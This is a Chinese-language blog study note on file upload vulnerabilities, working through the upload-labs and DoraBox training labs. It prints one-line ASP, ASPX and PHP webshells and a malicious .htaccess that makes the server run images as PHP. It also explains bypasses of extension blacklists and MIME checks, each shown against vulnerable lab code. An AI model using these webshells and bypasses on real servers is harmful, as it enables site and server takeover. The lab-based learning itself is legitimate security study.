文件上传漏洞 学习笔记(一)

前言

学习进行时,最近我学习了文件上传漏洞,感觉收获很大,所以总结一下。

为什么存在文件上传漏洞

上传文件时,Web应用程序没有对上传文件的格式进行严格过滤 , 就容易造成可以上传任意文件的情况。还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护。

危害

上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞,攻击者可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器,这个恶意脚本文件,又被称为WebShell,也可以将WebShell脚本称为一种网页后门。WebShell具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

文件上传漏洞环境

upload-labs:https://github.com/c0ny1/upload-labs
皮卡丘:https://github.com/zhuifengshaonianhanlu/pikachu
DoraBox:https://github.com/gh0stkey/DoraBox

正文

为了方便,我直接把漏洞环境部署到ubantu虚拟机了。

一、任意文件上传

DoraBox漏洞环境

没有进行任何过滤,可以上传任意文件
在这里插入图片描述
所以直接上传webshell(当然webshell有asp、aspx、php类型。我使用的是php)
asp

<%eval request(“xxx”)%>

aspx

<%@ Page Languag=”xxx”%>
<%eval(Request.Item[“xxx”])%>

php

<?php @eval($_POST['a']) ?>

在这里插入图片描述
使用菜刀或蚁剑连一下,我用的蚁剑
在这里插入图片描述
可以查看服务器文件和目录了
在这里插入图片描述
下面的绕过类型都是通过的upload-labs漏洞环境来实现

二、JS限制文件上传

Pass-01

在这里插入图片描述
直接上传webshell,发现上传失败,只能上传后缀为.jpg|.png|.gif的文件。
查看源码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

在客户端使用JS对不合法图片进行检查。所以绕过客户端JS检测,上传webshell
客户端JS检测
JS检测绕过上传漏洞,如果上传后缀不被允许,则会弹窗告知。
上传文件的数据包没有发到服务端,只在客户端使用JavaScript对数据包进行检测。
绕过客户端JS检测的三种方法

  • 使用浏览器插件。删除检测文件后缀的JS代码,然后上传webshell
  • 首先把webshell的后缀改成允许上传的.jpg|.png|.gif,绕过JS检测。再抓包,把后缀名改成.php,即可上传webshell
  • 在前端js判断函数中加上可以上传php文件

尝试第二种,先把webshell的后缀.php改为.jpg
在这里插入图片描述
然后上传,抓包修改后缀为.php
在这里插入图片描述
Forward发包,上传成功
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述
注意:测试完后删除webshell.php,因为后边我使用的都是同一个webshell(不是同一个,就不用删除)

二、MIME限制文件上传

Pass-02

在这里插入图片描述
直接上传webshell,发现上传失败,文件类型不正确。
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

在服务端对数据包的MIME进行检查。所以绕过文件类型,上传webshell
MIME
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
绕过服务端对数据包的MIME进行检查
在客户端上传文件,通过BurpSuite抓包。

  • 上传php文件时,Content-Type的值是application/octet-stream
  • 上传jpg文件时,Content-Type的值是image/jpeg
  • 如果服务器通过Content-Type的值判断文件类型,上传php文件(webshell)时,将Content-Type的值修改为image/jpeg,即可上传php文件(webshell)。

所以上传webshell.php,抓包修改Content-Type的值为image/jpeg
在这里插入图片描述
Forward发包,上传成功
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述

三、黑名单限制文件上传

Apache解析

  • 有些Apache允许解析其他文件后缀。如在http.conf中,若配置有如下代码,则能解析php和phtml文件
    AddType application/x-httpd-php .php .phtml
  • Apache的解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不可识别,就继续往左判断。直到遇到可以解析的文件后缀为止
    htaccess
    htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
    绕过文件后缀的方法
    1. 上传一个后缀为phtml的webshell
    2. 上传文件名类似1.php.xxxx,因为后缀xxxx不可以解析,所以向左解析后缀.php
    3. 构造.htaccess,实现重写文件解析。
    4. 大小写绕过
    5. 双写绕过
    6. 在后缀名中加空绕过
    7. 在后缀名中加”.”绕过
    8. 等等
Pass-03(上传webshell.phtml绕过)

直接上传webshell,发现上传失败。
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单判断,不允许上传.asp|.aspx|.php|.jsp后缀文件。
尝试第一种方法,上传webshell.phtml
在这里插入图片描述
上传成功,测试连接,连接失败。。

参考大佬博客,发现没有配置添加如下代码:

AddType application/x-httpd-php .php .phtml

配置方法参照:
ubuntu下apache与php配置
好了,我已经配置完毕,删除之前的文件,再上传一次。测试连接,连接失败。。emmmmm。。。。
查看上传的文件
在这里插入图片描述
发现文件名被替换了。所以连接时文件名换一下,连接成功
在这里插入图片描述

Pass-04(重写文件解析绕过)

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单判断,不允许上传后缀文件为

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

这样Pass-03的方法就没办法使用了。所以尝试使用方法3,构造.htaccess,实现重写文件解析。
同样这样的前提也是得在配置文件里面有这样的一句话

AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so

因为我的配置文件没有,所以配置一下。
参考博客:
apache开启rewrite重写
.htaccess攻击
配置完毕。把SetHandler application/x-httpd-php 这句话写成.htaccess,然后上传个jpg,它就当php解析了。
.htaccess文件内容为:

<FilesMatch "webshell">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件,然后上传webshell.jpg
上传成功,测试连接,连接成功
在这里插入图片描述

Pass-05(大小写绕过)

查看源码发现,与Pass-04相比,多了不允许上传后缀文件.htaccess,但是没有将后缀进行大小写统一,于是可以通过大小写绕过。
上传webshell.phP,上传成功。测试连接,连接失败。查看文件,发现文件名被替换
在这里插入图片描述
重新输入文件名,测试连接,连接成功

在这里插入图片描述

Pass-06(加空格绕过)

查看源码发现还是黑名单,但是没有对后缀名进行去空处理,可在后缀名中加空绕过。
上传webshell.php,抓包,加空格
在这里插入图片描述
上传成功。查看上传的文件名
在这里插入图片描述
测试连接,连接成功
在这里插入图片描述

Pass-07(加.绕过)

还是黑名单,禁止上传所有可以解析的后缀。
但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过。
上传webshell.php,抓包,加.
在这里插入图片描述
上传成功。测试连接,连接成功
在这里插入图片描述

Pass-08(加::$DATA绕过)

还是黑名单,但是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过。
上传webshell.php,抓包,加::$DATA
在这里插入图片描述
上传成功。测试连接,连接失败。因为我用的ubantu,所以用Windows执行上述操作就ok了,就不叙述了。

Pass-09(点+空格+点绕过)

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

还是黑名单,但是第15行和之前不太一样,路径拼接的是处理后的文件名。
str_replace先删除一个点,再删除一个空格。
点+空格+点,经过处理后,文件名变成webshell.php.,即可绕过。
在这里插入图片描述
上传成功。测试连接,连接成功
在这里插入图片描述

Pass-10(双写绕过)

查看源码发现关键代码

$file_name = trim($_FILES['upload_file']['name']);//定义name
$file_name = str_ireplace($deny_ext,"", $file_name);//替换上面的php这些为空

将问题后缀名替换为空,于是可以利用双写绕过。
上传webshell.php,抓包,双写
在这里插入图片描述
上传成功。测试连接,连接成功
在这里插入图片描述
好了,就先总结这么多,剩下的另一篇《文件上传漏洞 学习笔记(二)》进行总结。

感悟

文件上传漏洞总结之后,对文件上传漏洞理解了很多,也收获了很多。
继续努力学习。小白进阶ing


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏